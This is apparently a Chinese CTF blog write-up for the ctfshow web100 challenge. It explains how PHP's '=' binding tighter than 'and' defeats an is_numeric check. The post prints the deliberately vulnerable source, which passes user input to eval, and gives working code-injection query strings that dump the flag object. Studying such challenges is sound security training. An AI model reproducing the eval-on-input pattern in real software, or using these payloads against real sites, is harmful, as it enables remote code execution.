ctfshow web100(运算符优先级问题)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}


?>

关键在这一句

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

而运算符的优先级顺序如下:

&&  ||  =   and   or
//从左往右,从高到低

因此v2、v3不影响,只考虑v1是数字即可。 

 先看官方payload:这是不会报错的。

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

 当然了我们也可以直接这么写:完全不用在意报错,还是会执行我们注入的代码。

?v1=1&v2=var_dump($ctfshow)&v3=;

 

posted @ 2022-10-17 15:43  hithub  阅读(160)  评论(0编辑  收藏  举报